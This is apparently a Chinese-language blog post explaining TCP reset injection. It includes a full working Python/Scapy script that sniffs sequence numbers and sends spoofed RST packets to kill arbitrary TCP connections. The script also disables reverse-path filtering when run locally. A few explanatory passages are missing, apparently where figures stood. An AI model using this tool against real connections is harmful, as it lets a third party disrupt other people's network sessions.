漫漫长夜又要降临…黑夜里,我不敢点灯,复明日,阳光下,我不敢睁眼。
这篇文章完全来自于我在解决另一个问题是一个突然的想法。所以并没有什么前因后果。
我本来是想模拟一个TCP接收端对收到数据包的确认,采用了Scapy这个简单的工具,然而折腾了大半天没有顺利搞定。其实我是不怎么懂Python的,折腾了大半天之后,竟然对Python产生了兴趣,正好旁边有人碰到了TCP连接被莫名Reset掉的案例,借这个楼,就想写一个能把任意TCP连接给Reset掉的小程序,主要是为了用Python练一下手而已,熟悉一下Python快乐编程的过程,体验一把乐趣。
折腾Scapy这件事的结果补充一下,本初的愿望没有达成,没有完成探测拥塞控制行为的目的,反而学了一点Python,证实了我不会编程,但也不是一点都不会,我稍微会一点。
再补充一下,如果想Reset掉一个连接,何必编程,iptables足矣:
iptables -A INPUT/OUTPUT/FORWARD -p TCP ...(match元组信息) -j REJECT--reject-with tcp-reset
把任意的TCP连接给Reset掉是比较容易的,因为TCP在收到数据包时,对发送者仅仅做以下简单的校验:
这是非常松散的校验机制!此外,我们知道TCP是一个端到端的传输协议,这意味着它无法控制数据包在经由网络链路时的任何事件。于是乎以下的机制就是一个不得已的必须机制,而恰恰是该机制非常容易被利用,使得一个TCP连接非常容易被旁路干掉!该机制就是:
我们核对一下Linux TCP实现在收到报文时的校验函数tcp_validate_incoming:
于是乎,为了能让一个TCP端正确处理Reset报文,就必须可以通过 序列号校验, 为了能获取 正确的序列号, 可以用以上的机制给TCP其中一端发送一个 任意序列号的报文,如果你堵在两端的必经之路上,那就可以收到 正确的序列号报文 了。
其实本文的题目中,“在任意位置” 说的并不严谨,如果你猜不到正确的序列号,需要发送探测数据报文的话,那么想Reset掉连接必须有一个前提,即你必须能抓获这个探测包的回复报文,因为正确的信息都在这个回复报文里。然而如果你并没有将这个TCP杀手部署的连接的必经之路上,就不能保证回复的报文一定被抓取到。不管怎么样,相信办法还是有的。
是不是非常简单的呢?是的!
这个小工具要是做出来也是蛮有用的,毕竟TCP不会想原始的RFC793里的状态机那么 闭环,有时真的是对端早就阵亡了,本端还会有一些TCP遗体,要想除掉它们,这个工具就比较有用了。此外,伟大的防火城墙最初不也是采用了这种方案双边Reset连接吗?
下面是我用Python练手的一个代码,可以完成上述原理图里的操作:
#!/usr/bin/python
import sys
import os
import thread
import time
import signal
from scapy.all import *
# 五元组的源IP地址,如果在其中一端执行,则为该端的IP地址
# 注意,源和目标为任意方向,不必以建立连接的主动和被动来区分。
src = sys.argv[1]
# 五元组的目标IP
dst = sys.argv[2]
# 和源IP对应的源端口
sport = sys.argv[3]
# 和目标IP对应的目标端口
dport = sys.argv[4]
local = int(sys.argv[5])
flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport
def signal_handler(signal, frame):
os._exit(0)
def printrecv(pktdata):
if TCP in pktdata and pktdata[TCP]:
seqno = pktdata[TCP].ack
ackno = pktdata[TCP].seq
if local == 1:
# 如果是在本机操作,则需要把lo的rp_filter关闭,这是因为构造的Reset是被灌入到loopback网卡的。
all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read()
lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read()
os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0')
os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0')
# 为了防止tcp_v4_rcv里面的PKT_HOST类型检查失败,强制一个MAC地址
sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0)
os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp)
os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp)
else:
send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0)
send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0)
os._exit(0)
def recv_packet(threadName, delay):
# 抓取探测包的返回包,该返回包携带了正确的seq和ack
sniff(prn = printrecv, store = 0, filter = flt)
if __name__ == '__main__':
signal.signal(signal.SIGINT, signal_handler)
# 创建抓包线程
thread.start_new_thread(recv_packet, ("Thread-2", 4, ))
time.sleep(1) # 等待抓包线程就绪后发送探测包
send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0)
while 1:
pass # 空转,不是好方法!
这个代码仅仅是为了练习Python,其实有一个现成的杀TCP连接的工具,叫做tcpkill,它的Wiki在:https://en.wikipedia.org/wiki/Tcpkill
和tcpkill相比,我的这个比较low,但我没用过tcpkill,不晓得它有没有对待静默连接先探测的这个功能,请在使用前务必研究清楚。
现在,我来说一下做这个小程序时踩到的一些坑吧,如果对Linux的IP实现不熟悉,这些坑很难填平,当然这对于我来讲,并不是什么事。
如果在本机来杀一条本机的连接,那么我们抓到探测报文的返回报文后,就可以构造Reset报文了,这看似简单,但问题是这个构造的Reset如何注入到本机的TCP端。
Python的Scapy send/sendp均是用packet套接字来发送构造的RAW报文的,packet套接字必须注入到loopback网卡才能环回到本地TCP/IP协议栈,然而loopback接收的这个构造的报文源IP却是远端的TCP端点IP地址,这在loopback开启了rp_filter的情况下会无法通过验证的,即便是loopback的rp_filter关闭,还有一个all.rp_filter,系统在做validate source的时候,是取的二者之间的大值,即只要有一个开启,就会开启rp验证,所以在Python脚本中需要将二者全部关闭。
使用send发送packet数据包会尝试绑定一个发送接口,然而目标地址就是本机的物理网卡的地址。构造报文是不可能通过物理网卡发送到wire上去的,而是会经由loopback环回到本地,然而此时必须指定一个目标MAC地址,否则将会取广播地址,而这个会在tcp_v4_rcv函数的开始,校验出错:
int tcp_v4_rcv(struct sk_buff *skb)
{
const struct iphdr *iph;
const struct tcphdr *th;
struct sock *sk;
int ret;
struct net *net = dev_net(skb->dev);
// 如果是广播MAC,type将不会是HOST
if (skb->pkt_type != PACKET_HOST)
goto discard_it;
起初我一直以为Scapy是通过RAW套接字发送数据包的,后来strace了一下发现是通过Packet套接字发送的。不过这里可以简单解释一下二者的区别。
Packet套接字非常直接和简单,这里不多说。
现在我来就着一个问题再来解释一下一个关于RAW套接字的问题。
既然在收报文的时候需要validate源地址的合理性,那么RAW套接字在发送报文的时候,路由逻辑是不是也需要validate一下源地址的合理性呢?毕竟RAW套接字的IP头是可以自行构造的,显然源地址也可以构造。
答案是需要看该RAW套接字的IP_HDRINCL socket选项有没有设置。
嗯,这是我总结出的一个非常简单的解释。
浙江温州皮鞋湿,下雨进水不会胖!